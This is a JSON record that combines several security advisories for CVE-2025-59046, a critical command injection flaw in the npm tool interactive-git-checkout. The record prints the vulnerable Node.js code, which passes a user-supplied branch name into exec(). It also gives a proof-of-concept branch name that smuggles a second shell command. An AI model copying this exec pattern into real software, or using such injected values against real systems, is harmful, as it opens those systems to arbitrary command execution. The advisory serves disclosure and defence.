{"id":"CVE-2025-59046","aliases":["EUVD-2025-27514","GHSA-4wcm-7hjf-6xw5"],"status":"published","title":"interactive-git-checkout has Command Injection vulnerability","description":"The npm package `interactive-git-checkout` is an interactive command-line tool that allows users to checkout a git branch while it prompts for the branch name on the command-line. It is available as an npm package and can be installed via `npm install -g interactive-git-checkout`. Versions up to and including 1.1.4 of the `interactive-git-checkout` tool are vulnerable to a command injection vulnerability because the software passes the branch name to the `git checkout` command using the Node.js child process module's `exec()` function without proper input validation or sanitization. Commit 8dd832dd302af287a61611f4f85e157cd1c6bb41 fixes the issue.","severity":{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.01187,"percentile":0.68317,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-77"],"published":"2025-09-09T22:33:31Z","modified":"2026-10-28T02:30:34Z","affected":[{"source":"ghsa","ecosystem":"npm","package":"interactive-git-checkout","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.1.4"}]}]},{"source":"osv","ecosystem":"npm","package":"interactive-git-checkout","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"1.1.4"}]}]}],"products":[{"vendor":"ninofiliu","product":"interactive-git-checkout"}],"references":[{"url":"https://github.com/ninofiliu/interactive-git-checkout/security/advisories/GHSA-4wcm-7hjf-6xw5","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/ninofiliu/interactive-git-checkout/commit/8dd832dd302af287a61611f4f85e157cd1c6bb41","tags":["x_refsource_MISC","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-59046","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-4wcm-7hjf-6xw5"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/59xxx/CVE-2025-59046.json","tags":["advisory"]},{"url":"https://github.com/ninofiliu/interactive-git-checkout","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-59046","title":"interactive-git-checkout has Command Injection vulnerability","description":"The npm package `interactive-git-checkout` is an interactive command-line tool that allows users to checkout a git branch while it prompts for the branch name on the command-line. It is available as an npm package and can be installed via `npm install -g interactive-git-checkout`. Versions up to and including 1.1.4 of the `interactive-git-checkout` tool are vulnerable to a command injection vulnerability because the software passes the branch name to the `git checkout` command using the Node.js child process module's `exec()` function without proper input validation or sanitization. Commit 8dd832dd302af287a61611f4f85e157cd1c6bb41 fixes the issue.","status":"published","published":"2025-09-09T22:33:31.58Z","modified":"2025-09-10T13:07:49.199Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-77"],"updated_at":"2026-11-02T14:32:47.812946Z"}],"euvd":[{"id":"EUVD-2025-27514","description":"The npm package `interactive-git-checkout` is an interactive command-line tool that allows users to checkout a git branch while it prompts for the branch name on the command-line. It is available as an npm package and can be installed via `npm install -g interactive-git-checkout`. Versions up to and including 1.1.4 of the `interactive-git-checkout` tool are vulnerable to a command injection vulnerability because the software passes the branch name to the `git checkout` command using the Node.js child process module's `exec()` function without proper input validation or sanitization. Commit 8dd832dd302af287a61611f4f85e157cd1c6bb41 fixes the issue.","status":"published","published":"2025-09-09T22:33:31Z","modified":"2025-09-10T13:07:49Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T20:31:45.48357Z"}],"ghsa":[{"id":"GHSA-4wcm-7hjf-6xw5","title":"interactive-git-checkout has a Command Injection vulnerability","description":"The npm package `interactive-git-checkout` is an interactive command-line tool that allows users to checkout a git branch while it prompts for the branch name on the command-line. It is available as an npm package and can be installed via `npm install -g interactive-git-checkout`.\n\nResources: \n * Project's npm package: https://www.npmjs.com/package/interactive-git-checkout\n \n## Command Injection Vulnerability\n\nThe `interactive-git-checkout` tool is vulnerable to a command injection vulnerability because it passes the branch name to the `git checkout` command using the Node.js child process module's `exec()` function without proper input validation or sanitization.\n\nThe following vulnerable code snippets demonstrates the issue:\n\n```js\nconst { exec: execCb } = require('child_process');\nconst { promisify } = require('util');\n\nconst exec = promisify(execCb);\n\nmodule.exports = async (targetBranch) =\u003e {\n    const { stdout, stderr } = await exec(`git checkout ${targetBranch}`);\n    process.stderr.write(stderr);\n    process.stdout.write(stdout);\n};\n```\n\n## Exploit Proof of Concept\n\n1. Install the `interactive-git-checkout` package (as suggested by the package's README):\n\n```bash\nnpm install --global interactive-git-checkout\n```\n\n2. Run the executable exposed by the installed package:\n\n```bash\n$ igc\n```\n\n3. When prompted, enter the following branch name:\n\n```bash\nhello ; echo 'Command Injection Vulnerability Exploited!' \u003e /tmp/command-injection.txt; #\n```\n\n## Vulnerable versions\n\nAll versions of interactive-git-checkout are vulnerable to this issue, up to and including to the latest version of `1.1.4`.\n\n# Author\n\nLiran Tal","status":"published","published":"2025-09-10T21:37:00Z","modified":"2025-09-10T21:37:00Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-77"],"updated_at":"2026-11-02T14:38:57.074217Z"}],"nvd":[{"id":"CVE-2025-59046","description":"The npm package `interactive-git-checkout` is an interactive command-line tool that allows users to checkout a git branch while it prompts for the branch name on the command-line. It is available as an npm package and can be installed via `npm install -g interactive-git-checkout`. Versions up to and including 1.1.4 of the `interactive-git-checkout` tool are vulnerable to a command injection vulnerability because the software passes the branch name to the `git checkout` command using the Node.js child process module's `exec()` function without proper input validation or sanitization. Commit 8dd832dd302af287a61611f4f85e157cd1c6bb41 fixes the issue.","status":"published","published":"2025-09-09T23:15:37.78Z","modified":"2026-06-17T09:45:29.807Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-77"],"updated_at":"2026-11-02T14:11:28.834562Z"}],"osv":[{"id":"CVE-2025-59046","title":"interactive-git-checkout has Command Injection vulnerability","description":"The npm package `interactive-git-checkout` is an interactive command-line tool that allows users to checkout a git branch while it prompts for the branch name on the command-line. It is available as an npm package and can be installed via `npm install -g interactive-git-checkout`. Versions up to and including 1.1.4 of the `interactive-git-checkout` tool are vulnerable to a command injection vulnerability because the software passes the branch name to the `git checkout` command using the Node.js child process module's `exec()` function without proper input validation or sanitization. Commit 8dd832dd302af287a61611f4f85e157cd1c6bb41 fixes the issue.","status":"published","published":"2025-09-09T22:33:31.58Z","modified":"2026-10-28T02:30:34.479643269Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-77"],"updated_at":"2026-11-02T15:44:51.190588Z"},{"id":"GHSA-4wcm-7hjf-6xw5","title":"interactive-git-checkout has a Command Injection vulnerability","description":"The npm package `interactive-git-checkout` is an interactive command-line tool that allows users to checkout a git branch while it prompts for the branch name on the command-line. It is available as an npm package and can be installed via `npm install -g interactive-git-checkout`.\n\nResources: \n * Project's npm package: https://www.npmjs.com/package/interactive-git-checkout\n \n## Command Injection Vulnerability\n\nThe `interactive-git-checkout` tool is vulnerable to a command injection vulnerability because it passes the branch name to the `git checkout` command using the Node.js child process module's `exec()` function without proper input validation or sanitization.\n\nThe following vulnerable code snippets demonstrates the issue:\n\n```js\nconst { exec: execCb } = require('child_process');\nconst { promisify } = require('util');\n\nconst exec = promisify(execCb);\n\nmodule.exports = async (targetBranch) =\u003e {\n    const { stdout, stderr } = await exec(`git checkout ${targetBranch}`);\n    process.stderr.write(stderr);\n    process.stdout.write(stdout);\n};\n```\n\n## Exploit Proof of Concept\n\n1. Install the `interactive-git-checkout` package (as suggested by the package's README):\n\n```bash\nnpm install --global interactive-git-checkout\n```\n\n2. Run the executable exposed by the installed package:\n\n```bash\n$ igc\n```\n\n3. When prompted, enter the following branch name:\n\n```bash\nhello ; echo 'Command Injection Vulnerability Exploited!' \u003e /tmp/command-injection.txt; #\n```\n\n## Vulnerable versions\n\nAll versions of interactive-git-checkout are vulnerable to this issue, up to and including to the latest version of `1.1.4`.\n\n# Author\n\nLiran Tal","status":"published","published":"2025-09-10T21:37:00Z","modified":"2026-09-10T03:50:27.914270712Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-77"],"updated_at":"2026-11-02T15:46:37.528068Z"}]}}